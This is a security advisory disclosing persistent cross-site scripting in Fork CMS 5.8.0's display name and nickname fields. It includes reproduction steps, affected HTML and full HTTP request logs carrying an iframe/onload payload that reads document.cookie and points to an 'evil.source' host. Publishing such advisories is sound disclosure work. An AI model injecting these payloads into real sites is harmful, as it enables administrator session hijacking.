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# Title: Fork CMS 5.8.0 - Persistent Cross-Site Scripting # Author: Vulnerability Laboratory # Date: 2020-04-15 # Vendor: https://www.fork-cms.com/download # Software Link: https://github.com/forkcms/forkcms/pull/3073 # CVE: N/A Document Title: =============== Fork CMS v5.8.0 - Multiple Persistent Web Vulnerbilities References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2208 ID (3073):https://github.com/forkcms/forkcms/pull/3073 Release Date: ============= 2020-04-17 Vulnerability Laboratory ID (VL-ID): ==================================== 2208 Common Vulnerability Scoring System: ==================================== 5.3 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 1.000€ - 2.000€ Product & Service Introduction: =============================== Fork is an easy to use open source CMS using Symfony Components. Fork CMS is dedicated to creating a user friendly environment to build, monitor and update your website. We take great pride in being the Content Management System of choice for beginners and professionals. (Copy of the Homepage: https://www.fork-cms.com& https://www.fork-cms.com/download ) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered multiple persistent web vulnerabilities in the official Fork CMS v5.8.0. Affected Product(s): ==================== ForkCMS Product: Fork CMS v5.8.0 - Content Management System (Web-Application) Vulnerability Disclosure Timeline: ================================== 2020-04-17: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted authentication (user/moderator) - User privileges User Interaction: ================= Low User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ Multiple persistent input validation web vulnerabilities has been discovered in the official Fork CMS v5.8.0 open-source web-application. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. The persistent input validation web vulnerabilities are located in the Displayname</code> input field when using the <code>Add</code>, <code>Edit</code> or <code>Register mechanism that forwards the information into the <code>var</code> parameter. Remote attackers and privileged application user accounts are able to inject own malicious persistent script code as the users displayname by usage of the registration module (/profiles/register). Privileged users with access to the profile or users module are able to exploit the issue by a simple inject. The displayname then becomes visible in the Admin - Profiles Index on Preview, Edit User/Profile, Delete User Interaction and User Index in Listing modules. the var parameter does not encode or parse the exisiting injected content and executes it. The request method to inject is POST and the attack vector of the vulnerability is located on the application-side of the content management system. The injection point is located in the registration form and the add/edit user function. The execution point of the issue occurs in the preview profile, edit user, user index listing and delete user message context. Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules. Request Method(s): [+] POST Vulnerable Module(s): [+] Register [+] Add User [+] Edit User Vulnerable Input(s): [+] Displayname Vulnerable Parameter(s): [+] var Affected Module(s): [+] Preview Profile [+] Edit User [+] User Index [+] Delete User Proof of Concept (PoC): ======================= The persistent input validation web vulnerabilities can be exploited by remote attackers with low privileged user account and low user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information an steüs below to continue. Manual steps to reproduce the vulnerability ... 1. Open the fork cms web-application newst version 2. Move via sitemap or by link to the registration page (/modules/profiles/register) 3. Inject your script code payload html/js to the Displayname input field 4. Register the account by pushing submit 5. Activate the link in the account registration email Note: Now simple wait until the administrator / privileged user visits the panel to execute the code on interaction or preview only 6. Successful reproduce of the persistent script code injection vulnerability! PoC: Vulnerable Source (User Index in Listing - https://fork-cms.localhost:8080/private/en/users/index) <tr id="row-2" class="even"> <td class="nickname"><a href="/private/en/users/edit?token=k7byefqor8&id=2" title="edit">test3"><iframe src="evil.source" onload=alert(document.cookie)></a></td> <tdclass="fork-data-grid-action actionEdit"><a href="/private/en/users/edit?token=k7byefqor8&id=2" class="btn btn-default btn-xs pull-right"> <span class="fa fa-pencil" aria-hidden="true"></span> Edit</a></td> </tr> PoC: Vulnerable Source (Profiles Index on Preview - https://fork-cms.localhost:8080/private/en/profiles/index) <tbody><tr id="row-1" class="odd"> <td class="check"><input type="checkbox" name="id[]" value="1" class="inputCheckbox checkBeforeUnload"></td> <td class="email"><a href="/private/en/profiles/edit?token=k7byefqor8&id=1" title="">tester23@protonmail.com</a></td> <td class="display_name">"<iframe src="evil.source" onload="alert(document.cookie)"></td> <tdclass="registered_on">13 April 2020 11:17</td> <tdclass="fork-data-grid-action actionEdit"> <a href="/private/en/profiles/edit?token=k7byefqor8&id=1" class="btn btn-default btn-xs pull-right"> <span class="fa fa-pencil" aria-hidden="true"></span> Edit</a></td> </tr></tbody> PoC: Vulnerable Source (Delete User - On Interaction) <form name="delete" method="post" action="/private/en/users/delete?token=k7byefqor8"> <input type="hidden" id="delete__token" name="delete[_token]" value="q3ADogMObka_-73n5afnMPsJHj9ZAI_ch5uiabqDsqs" /> <input type="hidden" id="delete_id" name="delete[id]" value="2" /> <div class="modal fade" id="confirmDelete" role="dialog" tabindex="-1" aria-hidden="true" aria-labelledby="confirmDeleteTitle"> <div class="modal-dialog"><div class="modal-content"><div class="modal-header"> <h4 class="modal-title" id="confirmDeleteTitle">Delete</h4></div> <div class="modal-body"> <p>Are your sure you want to delete the user "evil.source"><iframe src=evil.source onload=alert(document.cookie)>"?</p></div> <div class="modal-footer"> <button class="btn btn-default" title="Cancel"data-dismiss="modal"> <span class="fa fa-times" aria-hidden="true"></span> <span class="btn-text">Cancel</span></button> <button class="btn btn-danger" title="Delete" > <span class="fa fa-trash" aria-hidden="true"></span> <span class="btn-text">Delete</span> </button></div></div></div></div> </form> --- PoC Session Logs [POST] (Registration User Account) --- https://fork-cms.localhost:8080/en/modules/profiles/register#registerForm Host: fork-cms.localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://fork-cms.localhost:8080/en/modules/profiles/register Content-Type: application/x-www-form-urlencoded Content-Length: 179 Origin: https://fork-cms.localhost:8080 Connection: keep-alive Cookie: track=s%3A32%3A%229739044e17a322bae65870698df9b79e%22%3B;PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d; interface_language=en; frontend_language=en; cookie_bar_agree=Y; cookie_bar_hide=Y; form=register&form_token=f1e7f2e9077b0400f5e97591ac09ef3e&display_name=>"<iframe src=evil.source onload=alert(document.cookie)>&email=tester23@protonmail.com&password=pwnd - POST: HTTP/1.1 302 Found Server: nginx/1.6.2 Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=0, must-revalidate, private Set-Cookie: frontend_language=en; expires=Wed, 13-May-2020 09:49:57 GMT; Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly; samesite=lax track=s%3A32%3A%229739044e17a322bae65870698df9b79e%22%3B; expires=Tue, 13-Apr-2021 09:49:57 GMT; Max-Age=31536000; path=/; domain=.fork-cms.localhost:8080; httponly; samesite=lax Location: https://fork-cms.localhost:8080 X-server: fork01 -- PoC Session Logs [POST] (Add User) --- https://fork-cms.localhost:8080/private/en/users/add?token=k7byefqor8 Host: fork-cms.localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://fork-cms.localhost:8080/private/en/users/add?token=k7byefqor8 Content-Type: multipart/form-data; boundary=---------------------------56051791419552543783889366402 Content-Length: 2545 Origin: https://fork-cms.localhost:8080 Connection: keep-alive Cookie: PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d; interface_language=en Upgrade-Insecure-Requests: 1 form=add&form_token=f1e7f2e9077b0400f5e97591ac09ef3e&email=tester232323@protonmail.com&password=tester445 &confirm_password=tester445&name=test1&surname=test2&nickname=test3>"<iframe src=a onload=alert(document.cookie)>&avatar= &interface_language=en&preferred_editor=ck-editor&date_format=j F Y&time_format=H:i&number_format=dot_nothing &csv_split_character=;&csv_line_ending=n&active=1&groups[]=1&add= - POST: HTTP/1.1 302 Found Server: nginx/1.6.2 Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=0, must-revalidate, private Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:44:47 GMT; Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly; samesite=lax Location: /private/en/users/index?token=k7byefqor8&report=added&var=test3>"<iframe src=evil.source onload=alert(document.cookie)>&highlight=row-4 X-server: fork01 - https://fork-cms.localhost:8080/private/en/users/index?token=k7byefqor8&report=added&var=test3>"<iframe src=evil.source onload=alert(document.cookie)>&highlight=row-4 Host: fork-cms.localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://fork-cms.localhost:8080/private/en/users/add?token=k7byefqor8 Connection: keep-alive Cookie: PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d; interface_language=en - POST: HTTP/1.1 200 OK Server: nginx/1.6.2 Content-Type: text/html; charset=UTF-8 Content-Length: 3615 Connection: keep-alive Cache-Control: max-age=0, must-revalidate, private Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:44:47 GMT; Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly; samesite=lax Vary: Accept-Encoding Content-Encoding: gzip X-server: fork01 - GET: HTTP/1.1 200 OK Server: nginx/1.6.2 https://fork-cms.localhost:8080/private/en/users/evil.source Host: fork-cms.localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=0, must-revalidate, private Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:44:47 GMT; Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly; samesite=lax Location: /private/en/error?type=action-not-allowed X-server: fork01 -- PoC Session Logs [POST] (Edit User) --- https://fork-cms.localhost:8080/private/en/users/edit?token=k7byefqor8&id=2 Host: fork-cms.localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://fork-cms.localhost:8080/private/en/users/edit?token=k7byefqor8&id=2 Content-Type: multipart/form-data; boundary=---------------------------388544425912514902093103180709 Content-Length: 2563 Origin: https://fork-cms.localhost:8080 Connection: keep-alive Cookie: PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d; interface_language=en form=edit&form_token=f1e7f2e9077b0400f5e97591ac09ef3e&email=testemail337@protonmail.com&name=test1&surname=test2 &nickname=test3>"<iframe src=evil.source onload=alert(document.cookie)>&avatar=&new_password=&confirm_password= &interface_language=en&preferred_editor=ck-editor&date_format=j F Y&time_format=H:i&number_format=dot_nothing& csv_split_character=;&csv_line_ending=n&active=1&groups[]=1&edit= - POST: HTTP/1.1 302 Found Server: nginx/1.6.2 Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=0, must-revalidate, private Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:34:55 GMT; Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly; samesite=lax Location: /private/en/users/index?token=k7byefqor8&report=edited&var=test3>"<iframe src=evil.source onload=alert(document.cookie)>&highlight=row-2 X-server: fork01 https://fork-cms.localhost:8080/private/en/users/index?token=k7byefqor8&report=edited&var=test3>"<iframe src=evil.source onload=alert(document.cookie)>&highlight=row-2 Host: fork-cms.localhost:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Referer: https://fork-cms.localhost:8080/private/en/users/edit?token=k7byefqor8&id=2 Connection: keep-alive Cookie: PHPSESSID=dc1ffd3d01b2200d81b05cacb58e758d; interface_language=en - POST: HTTP/1.1 200 OK Server: nginx/1.6.2 Content-Type: text/html; charset=UTF-8 Content-Length: 3585 Connection: keep-alive Cache-Control: max-age=0, must-revalidate, private Set-Cookie: interface_language=en; expires=Wed, 13-May-2020 08:34:55 GMT; Max-Age=2592000; path=/; domain=.fork-cms.localhost:8080; httponly; samesite=lax Vary: Accept-Encoding Content-Encoding: gzip X-server: fork01 Reference(s): https://fork-cms.localhost:8080/en/modules/profiles/register https://fork-cms.localhost:8080/private/en/profiles/index https://fork-cms.localhost:8080/private/en/users/index https://fork-cms.localhost:8080/private/en/users/edit https://fork-cms.localhost:8080/private/en/users/add Security Risk: ============== The security risk of the persistent input validation web vulnerabilities in the fork cms web-application is estimated as high. Credits & Authors: ================== Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M. Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 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